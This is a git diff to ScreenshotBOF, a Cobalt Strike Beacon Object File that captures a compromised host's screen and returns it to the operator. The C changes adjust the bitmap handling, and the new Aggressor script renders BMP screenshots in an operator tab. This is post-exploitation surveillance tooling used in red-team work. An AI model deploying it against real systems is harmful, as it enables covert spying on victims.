diff --git a/ScreenshotBOF/Source.cpp b/ScreenshotBOF/Source.cpp index 8e5cdde..4615606 100644 --- a/ScreenshotBOF/Source.cpp +++ b/ScreenshotBOF/Source.cpp @@ -6,7 +6,7 @@ #pragma comment(lib, "Gdi32.lib") /*Download Screenshot*/ -void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { +void downloadScreenshot(unsigned char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { // Function modified by @BinaryFaultline // This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs @@ -118,7 +118,7 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) GetObject(hBitmap, sizeof(Bitmap0), (LPSTR)&Bitmap0); bi.biSize = sizeof(BITMAPINFOHEADER); bi.biWidth = Bitmap0.bmWidth; - bi.biHeight = -Bitmap0.bmHeight; + bi.biHeight = Bitmap0.bmHeight; bi.biPlanes = 1; bi.biBitCount = wBitCount; bi.biCompression = BI_RGB; @@ -163,9 +163,9 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) bmfHdr.bfReserved1 = 0; bmfHdr.bfReserved2 = 0; bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER) + dwPaletteSize; - void* bmpdata = malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize); + unsigned char* bmpdata = (unsigned char*)malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize); memcpy(bmpdata, &bmfHdr, sizeof(BITMAPFILEHEADER)); - memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); + memcpy(((unsigned char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); // The CALLBACK_SCREENSHOT takes sessionId, title (window title in default CS screenshot fork&run), username, so we need to populate those // Since the original author didn't do any window enumeration, I am not going through the effort of doing that enumeration, instead it's hardcoded @@ -173,12 +173,12 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) KERNEL32$ProcessIdToSessionId(KERNEL32$GetCurrentProcessId(), &session); char* user; user = (char*)getenv("USERNAME"); - char title[] = "Right-click this and Save to view"; + char title[] = "Right-click and \"Render BMP\" to view"; int userLength = MSVCRT$_snprintf(NULL,0,"%s",user); int titleLength = MSVCRT$_snprintf(NULL,0,"%s",title); - downloadScreenshot((char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize), session,(char*)title, titleLength, (char*)user, userLength); + downloadScreenshot(bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize, session,(char*)title, titleLength, (char*)user, userLength); //WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL); /* clean up */ @@ -218,7 +218,6 @@ void go(char* buff, int len) { */ BeaconPrintf(0x0, "[+] Saving bitmap screenshot to Screenshots tab..."); - BeaconPrintf(0x0, "[*] Currently Cobalt Strike's Screenshots tab only supports rendering JPG files, so you need to right-click and \"Save\"..."); SaveHBITMAPToFile(hBitmap); // clean up diff --git a/bin/BOF/ScreenshotBOF.x64.obj b/bin/BOF/ScreenshotBOF.x64.obj index 4a28c47..9efaead 100755 Binary files a/bin/BOF/ScreenshotBOF.x64.obj and b/bin/BOF/ScreenshotBOF.x64.obj differ diff --git a/bin/BOF/ScreenshotBOF.x86.obj b/bin/BOF/ScreenshotBOF.x86.obj index 9615019..65c20d4 100755 Binary files a/bin/BOF/ScreenshotBOF.x86.obj and b/bin/BOF/ScreenshotBOF.x86.obj differ diff --git a/bin/BOF/screenshotBOF.cna b/bin/BOF/screenshotBOF.cna index 5baad1a..5298cf8 100644 --- a/bin/BOF/screenshotBOF.cna +++ b/bin/BOF/screenshotBOF.cna @@ -1,3 +1,95 @@ +import javax.imageio.ImageIO; +import java.awt.*; +import javax.swing.JLabel; +import javax.swing.ImageIcon; +import java.io.ByteArrayInputStream; + +# This function takes in a screenshot and creates a JLabel to display the screenshot +sub display_image { + local('$screenshot $screenshot_bytes $bid $user $computer $client $MAX_IMAGE_WIDTH $MAX_IMAGE_HEIGHT $bias $image $width $height $icon $scaledIcon $component $tab_name'); + $screenshot = $1; + $screenshot_bytes = $screenshot['data']; + $bid = $screenshot['bid']; + $user = $screenshot['user']; + $computer = beacon_info($bid, 'computer'); + + $client = getAggressorClient(); + $MAX_IMAGE_WIDTH = [[[$client getTabManager] getTabbedPane] getWidth]; + $MAX_IMAGE_HEIGHT = [[[$client getTabManager] getTabbedPane] getHeight]; + + $bais = [new ByteArrayInputStream: $screenshot_bytes]; + $image = [ImageIO read: $bais]; + + $width = [$image getWidth]; + $height = [$image getHeight]; + + $icon = [new ImageIcon: $image]; + if ($width > $MAX_IMAGE_WIDTH) { + $width = $MAX_IMAGE_WIDTH; + } + if ($height > $MAX_IMAGE_HEIGHT) { + $height = $MAX_IMAGE_HEIGHT; + } + $scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]]; + + $component = [new JLabel: $scaledIcon]; + $tab_name = "ScreenshotBOF - $user\@$computer"; + addTab($tab_name, $component, "..."); + +} + +# Checks the screenshot when it comes in to see if it is a BMP, then if so, renders it in a new tab +on screenshots { + local('$screenshot $data'); + + $screenshot = $1; + $data = $screenshot['data']; + + # Check the magic header of the data to see if it's a BMP + if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { + display_image($screenshot); + } +} + +popup_clear("screenshots"); +popup screenshots { + item "&Interact" { + openOrActivate($1["bid"]); + } + + menu "&Color" { + insert_component(colorPanel("accents", $1["id"])); + } + + item "&Save" { + prompt_file_save($1["id"] . ".jpg", lambda({ + local('$handle'); + $handle = openf("> $+ $1"); + writeb($handle, $data); + closef($handle); + + show_message("Screenshot saved."); + }, $data => $1["object"]["data"])); + } + + separator(); + + item "&Remove" { + redactobject($1["id"]); + } + + item "Render &BMP" { + $data = $1["object"]['data']; + + # Check the magic header of the data to see if it's a BMP + if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { + display_image($1["object"]); + } else { + show_error("Image is not a Bitmap. It should render in Screenshots tab."); + } + } +} + #Register command beacon_command_register( "screenshot_bof",